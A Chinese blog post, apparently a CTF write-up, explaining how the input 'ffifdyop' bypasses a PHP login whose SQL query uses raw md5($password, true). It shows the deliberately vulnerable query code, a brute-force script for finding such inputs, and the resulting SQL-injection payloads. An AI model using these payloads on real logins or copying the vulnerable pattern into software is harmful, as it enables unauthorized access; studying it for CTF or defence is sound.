沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

神奇的ffifdyop

md5()的绕过

0x01 前言

其实还是md5()的绕过, 之前说的数组绕过,大多用来绕过控制语句,而这个是通过md5()来构造攻击语句 。

0x02 题目

$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0)
	{
    	echo 'flag is :'.$flag;
    }
else{
        echo '密码错误!';
    }

假装分析:

很明显,我们需要进行sql注入。如果没有这个可恶的md5(),我们可以直接构造语句' or '1闭合。😡!!

所以现在目标很明确了,我们就是要干掉这个md5()。

image-20200602143312516

问谷“哥”

2020-06-02

ohhhhhhhhhhhhh!!!!!! 引用别人的分析

md5()函数第二个参数为true,加密后的值会以二进制生成,被当成字符串处理后极有可能构造出闭合的字符串!!!

看个脚本

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

别人的发现

content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b 

菜狗的ps: 其实会出现一些乱码,'or '6<乱码>

0x03 ohhhh

image-20200602145914865

所以payload就是:ffifdyop或者那个很长的东西👀

结束的致敬

参考:

https://www.cnblogs.com/yesec/p/12535534.html

https://zhuanlan.zhihu.com/p/45946870